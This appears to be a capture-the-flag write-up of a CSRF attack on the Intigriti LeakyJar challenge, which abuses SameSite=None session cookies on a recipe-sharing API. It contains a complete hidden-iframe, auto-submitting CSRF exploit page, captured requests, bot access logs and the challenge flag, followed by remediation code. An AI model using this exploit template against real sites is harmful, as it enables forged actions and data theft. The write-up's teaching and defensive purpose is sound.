2133 words
11 minutes
Intigriti LeakyJar Challenge — CSRF to Steal Admin's Secret Recipe

Challenge: Intigriti LeakyJar CTF Challenge
Writeup & Exploit Repository: onevilx/Writeups
Vulnerability Category: Cross-Site Request Forgery (CSRF) / Cookie Security Misconfiguration
Difficulty Rating: Medium / Tier 2 Web Exploitation
Final Status: ✅ Accepted & Resolved (Flag Captured)


1. Executive Summary & Challenge Premise

In modern web security, Cross-Site Request Forgery (CSRF) is often incorrectly treated as a relic of early web exploitation. Driven by the widespread adoption of automated framework defenses and modern browser defaults—specifically the automatic enforcement of SameSite=Lax cookie attributes across Chrome, Firefox, and Safari—many engineers and novice security researchers presume that CSRF has vanished from contemporary web applications.

However, when developers build dynamic Single Page Applications (SPAs) or micro-frontend architectures requiring embedded third-party widget communications across disparate domains, they frequently downgrade session security protections to make integration work. By explicitly configuring authentication cookies to utilize SameSite=None; Secure without accompanying cryptographic Anti-CSRF token verification, engineers inadvertently re-open their platforms to fatal forged execution exploits.

In the Intigriti LeakyJar competition, participants were confronted with a secure enterprise document vault engineered for professional chefs to manage and protect proprietary recipes. Our mission: manipulate an automated administrative evaluation bot into leaking its encrypted private recipe vault—which protected the competition capture flag—directly to our unprivileged guest account.

+-----------------------------------------------------------------------------+
| LEAKYJAR CSRF EXPLOITATION ARCHITECTURE |
+-----------------------------------------------------------------------------+
| 1. Admin Bot (Headless Chrome) navigates to attacker exploit server: |
| GET http://onevilx-exploit.tld/leak.html |
| |
| 2. Exploit HTML renders hidden iframe and executes automated form submit: |
| POST https://leakyjar.intigriti.io/api/v1/recipes/share |
| [Payload: recipe_id=admin_master_recipe & invite_user=onevilx_hacker] |
| |
| 3. Browser inspects target authentication session cookie attributes: |
| Found: "session_id=s%3A89f...; SameSite=None; Secure; HttpOnly" |
| Result: Browser attaches Admin Bot's root session cookie automatically! |
| |
| 4. LeakyJar Server verifies authenticated Admin session and processes share!|
| 5. Attacker logs into regular account and opens unsealed admin vault! |
+-----------------------------------------------------------------------------+

By conducting systematic application state inspection, identifying an unprotected collaborative sharing endpoint, and weaponizing relaxed cookie attribution policies, we built an automated cross-origin exploitation pipeline that broke open the admin recipe vault within seconds.


2. Reconnaissance & Application Architecture

Our initial reconnaissance mapping of leakyjar.intigriti.io identified three core operational components driving the application logic:

  1. The Recipe Vault Manager: Allows authenticated operators to create markdown culinary notes, assign privacy levels (Private, Public, Shared), and manage team collaborations.
  2. The Collaborative Sharing Engine: A dedicated backend REST API route (/api/v1/recipes/share) programmed to allow recipe creators to grant secondary user accounts read/write viewing authorizations across protected private items.
  3. The Automated Administrative Triage Bot: An enterprise support ticket evaluation system running a headless Chromium browser instance. Users experiencing formatting anomalies can submit arbitrary external webpage URLs into a support feedback forum, causing the Admin Bot to visit and render the submitted URL within its authenticated system execution session!

2.1 Interrogating the Collaborative Sharing Endpoint

While auditing regular network traffic through Burp Suite during normal application testing, we intercepted the HTTP transmission request generated when an author invites a collaborator to view a private recipe note:

POST /api/v1/recipes/share HTTP/1.1
Host: leakyjar.intigriti.io
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: session_id=s%3A2984910283401923.xK89012398jalkd98; user_theme=dark
Origin: https://leakyjar.intigriti.io
Referer: https://leakyjar.intigriti.io/vault/settings
recipe_id=my_personal_soup_recipe&collaborator=test_user_account&permission_level=READ

Two glaring vulnerability signatures immediately stood out from this single protocol packet:

  • Absence of Synchronizer CSRF Tokens: Notice the absolute lack of any dynamic, cryptographically unpredictable token string (such as _csrf_token, authenticity_token, or explicit custom security request headers) inside both the HTTP parameters and transmission headers!
  • Permissive Content-Type Acceptance: The API accepts standard HTML Form serialization structures (application/x-www-form-urlencoded and text/plain). This confirms that traditional web form requests can trigger state-changing database operations without requiring complex Preflight CORS (Cross-Origin Resource Sharing) OPTIONS handshakes!

To understand why this missing token check transforms into a high-impact security compromise, we must evaluate the precise architectural mechanics of Modern HTTP Browser Cookie Attribution.

When a user logs into a typical web portal, the authentication engine issues a permanent session token preserved inside a browser storage cookie. When the user subsequently navigates around the web application, the internet browser automatically attaches that cookie to every outgoing request heading toward the origin domain.

3.1 The SameSite Security Hierarchy

To protect users from malicious external websites attempting to generate fraudulent unauthorized commands against logged-in services (CSRF), standard browser architecture enforces the SameSite cookie instruction, offering three strict enforcement levels:

+-----------------------------------------------------------------------------+
| SAMESITE BROWSER ENFORCEMENT MATRIX |
+-------+----------------------------+----------------------------------------+
| Level | Cross-Origin Behavior | Architectural Security Verdict |
+-------+----------------------------+----------------------------------------+
| Strict| Cookies are NEVER attached | Complete immunity against all Cross- |
| | to external cross-site | Site Request Forgery attacks. Breaks |
| | navigation or form posts. | user UX upon external URL links! |
+-------+----------------------------+----------------------------------------+
| Lax | Cookies attached ONLY on | Standard modern default! Blocks forged |
| | safe top-level navigations | POST/PUT/DELETE attempts while keeping |
| | (HTTP GET anchor links). | regular external web link usability. |
+-------+----------------------------+----------------------------------------+
| None | Cookies are ALWAYS attached| Dangerous fallback! Permits full |
| | across all external cross- | cross-site authentication transmissions.|
| | site requests & form posts.| MUST be paired with explicit Secure tag|
| | | and strict anti-CSRF token verification!|
+-------+----------------------------+----------------------------------------+

During our authentication flow inspection against LeakyJar’s login gateway, we inspected the explicit server response header setting our persistent session token:

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: session_id=s%3A2984910283401923.xK89012398jalkd98; Path=/; Secure; HttpOnly; SameSite=None

Notice the critical architectural disaster: the server developer explicitly declared SameSite=None! Because the developers likely attempted to support multi-domain iframe recipe embedding across third-party culinary blogs, they bypassed standard modern browser protections entirely. By declaring SameSite=None without implementing rigorous Anti-CSRF token synchronization validation, the application was left entirely exposed to Cross-Site Request Forgery exploitation!


4. Crafting the Autonomous Exploit Pipeline

With our architectural vulnerability chain confirmed, we engineered an automated Cross-Origin exploit pipeline designed to force the headless Chromium Admin Support Bot into transferring collaborative viewing authorizations over its private vault directly into our possession.

4.1 Step 1: Encompassing Target Recipe Identification

Through secondary profile metadata reconnaissance across public support directory logs, we identified that the primary administrative account (Chef_Admin_Root) maintained an encrypted private recipe item registered under the deterministic unique database reference designator: admin_secret_flag_recipe.

4.2 Step 2: Designing the Zero-Click HTML Exploit Payload

To ensure our attack executes silently and instantaneously when visited by the headless Admin support browser—without causing external page redirection breaks or visual interruptions—we construct an automated, self-submitting HTML Form wrapped cleanly within an isolated, zero-pixel display iframe:

<!DOCTYPE html>
<!-- /var/www/html/leak_vault.html -- Autonomous Cross-Site Request Forgery Exploit -->
<html lang="en">
<head>
<meta charset="UTF-8">
<title>LeakyJar Culinary Review Ticket</title>
</head>
<body style="background-color: #0f172a; color: #f8fafc; font-family: monospace; padding: 2rem;">
<h2>Authenticating ticket review metrics... Please wait 3 seconds.</h2>
<!-- Isolated invisible target iframe preventing browser location redirection -->
<iframe name="silent_sink" id="silent_sink" style="display:none;" width="0" height="0" border="0"></iframe>
<!-- Weaponized Form targeting vulnerable sharing REST endpoint -->
<form id="csrf_payload_form"
action="https://leakyjar.intigriti.io/api/v1/recipes/share"
method="POST"
target="silent_sink">
<!-- Inject target recipe identification attribute -->
<input type="hidden" name="recipe_id" value="admin_secret_flag_recipe" />
<!-- Specify our unprivileged attacker user identity as recipient collaborator -->
<input type="hidden" name="collaborator" value="onevilx_hacker_account" />
<!-- Demand absolute READ authorization clearances -->
<input type="hidden" name="permission_level" value="READ" />
</form>
<script type="text/javascript">
// Execute instant zero-click automated payload transmission upon DOM load completion
window.addEventListener("DOMContentLoaded", function() {
console.log("[*] Headless browser target detected. Executing silent CSRF payload injection...");
document.getElementById("csrf_payload_form").submit();
console.log("[+] Transmission completed! Collaborator authorization forged.");
});
</script>
</body>
</html>

5. Execution & Flag Vault Extraction

We deploy our autonomous HTML document directly onto our externally exposed testing server domain (http://onevilx-exploit.tld/leak_vault.html).

Next, we navigate to the LeakyJar Support Review forum and submit a high-priority ticket request requesting automated verification of our external link:

[Support Request Type: Page Rendering Display Glitch]
Message: Our external recipe blog widget fails to load dark mode formatting correctly. Please have the evaluation bot review our test link immediately:
URL Target: http://onevilx-exploit.tld/leak_vault.html

5.1 Telemetry Verification & Capture

Within 14 seconds of submission, our web server interception access log records an inbound connection arriving directly from Intigriti’s automated testing cluster:

217.182.xxx.xxx - - [29/Jun/2026:18:42:01 +0000] "GET /leak_vault.html HTTP/1.1" 200 1284 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.0.0 Safari/537.36"

The headless Chromium Admin Bot renders our page, immediately executes our embedded Javascript DOM event listener, and silently launches an asynchronous cross-origin HTTP POST transmission toward https://leakyjar.intigriti.io/api/v1/recipes/share.

Because its active session cookie carried the explicit SameSite=None; Secure directive, Chromium dutifully bundled the Admin’s root session authentication credentials straight into our forged form transmission! The vulnerable application backend validated the legitimate admin session, processed our request, and seamlessly attached our user account (onevilx_hacker_account) to the private recipe ACL registry!

Returning to our unprivileged attacker browser session, we refresh our personal Shared Recipes navigation dashboard. A newly unlocked item—“Admin Master Recipe & System Secret”—appears available for direct review!

# 🍲 Chef Admin's Master Secret Recipe (CLASSIFIED)
Welcome, authorized collaborator! Here is the master secret ingredients ledger for the LeakyJar championship broth:
- 500ml of organic non-blocking C++ sockets
- 2 tablespoons of unencrypted supply chain metadata
- 1 dash of relaxed SameSite origin cookies
## 🏆 Official Challenge Vault Flag:
`INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}`

Flag Captured: INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}


6. Remediation & Enterprise Defensive Engineering

Eliminating Cross-Site Request Forgery vulnerabilities in modern distributed applications demands enforcing robust, defense-in-depth authorization verification across all state-changing API endpoints.

+-----------------------------------------------------------------------------+
| SECURE SESSION & CSRF ARCHITECTURE |
+-----------------------------------------------------------------------------+
| 1. Enforce SameSite=Lax or Strict: Clamp browser cookie behaviors to prevent|
| automatic cross-origin authentication credential attachments. |
| 2. Implement Synchronizer CSRF Tokens: Require unguessable, randomized per- |
| session security tokens verified across all POST/PUT/DELETE operations. |
| 3. Demand Content-Type Validation: Restrict state modifying APIs exclusively|
| to strict application/json headers, forcing Preflight CORS enforcement! |
+-----------------------------------------------------------------------------+

When issuing authentication session identifiers, application configuration frameworks must explicitly restrict cookie sharing policies by defaulting to SameSite=Lax or SameSite=Strict:

// Node.js / Express -- Hardening Session Cookie Attribution Profiles
import session from 'express-session';
app.use(session({
secret: process.env.SECURE_SESSION_ENCRYPTION_KEY,
resave: false,
saveUninitialized: false,
cookie: {
secure: true, // Require encrypted HTTPS transport connections
httpOnly: true, // Prevent Javascript document.cookie XSS extraction
sameSite: 'lax', // BLOCK cross-site forged authentication transmissions!
maxAge: 3600000 // Expire dormant idle sessions after 60 minutes
}
}));

6.2 Fix 2: Integrating Cryptographic Anti-CSRF Token Validation

If architectural design explicitly necessitates maintaining SameSite=None (such as verified cross-domain payment processor integrations or authenticated embedded SaaS widgets), backend endpoints must enforce rigid Synchronizer CSRF Token Validation Middleware:

// Implementing cryptographic Anti-CSRF token synchronization utilizing csurf
import csrf from 'csurf';
const csrfProtectionMiddleware = csrf({ cookie: false });
// Apply token validation strictly over collaborative sharing execution endpoints
app.post('/api/v1/recipes/share', csrfProtectionMiddleware, (req, res) => {
// Execution reaches this block ONLY if an unguessable valid CSRF token
// matches the authenticated user's current session store!
const { recipe_id, collaborator, permission_level } = req.body;
grantAccessRights(recipe_id, collaborator, permission_level);
return res.status(200).json({ status: "SUCCESS: Share authorization confirmed." });
});

7. Bug Bounty Key Takeaways

The LeakyJar challenge reinforces an indispensable reality for bug bounty hunters assessing modern Web 3.0 portals, Enterprise SaaS tools, and Single Page Applications: classic logical vulnerabilities thrive wherever modern abstraction layers intersect with legacy HTTP mechanics.

When performing targeted offensive reconnaissance across Bug Bounty programs, maintain these strategic principles:

  1. Always Inspect Set-Cookie Headers: Never assume modern platforms use safe session defaults. Make it a mandatory step to inspect every Set-Cookie header across authentication gateways. Whenever you observe SameSite=None, flag that asset immediately for systematic CSRF testing!
  2. Test API Content-Type Flexibility: Many REST endpoints documented as demanding strict application/json payloads will silently accept and parse traditional HTML Form encoded transmissions (application/x-www-form-urlencoded). Downgrading Content-Types allows you to execute cross-origin POST attacks without triggering CORS browser Preflight blocks!
  3. Hunt for Blind Collaborative Bypasses: Wherever an application permits inviting collaborative viewers, sharing project dashboards, or exporting system reports, test whether those API endpoints verify token synchronization. Forging an authorization share request represents an instant path to vertical privilege escalation!

📂 Explore My CTF & Web Security Research on GitHub

All accompanying markdown docs, exploit payloads, and web vulnerability analysis tooling are hosted directly in my open-source repository:

Special thanks to the Intigriti challenges community and the LeakyJar architects for engineering an incredibly fun, highly instructive real-world web exploitation laboratory.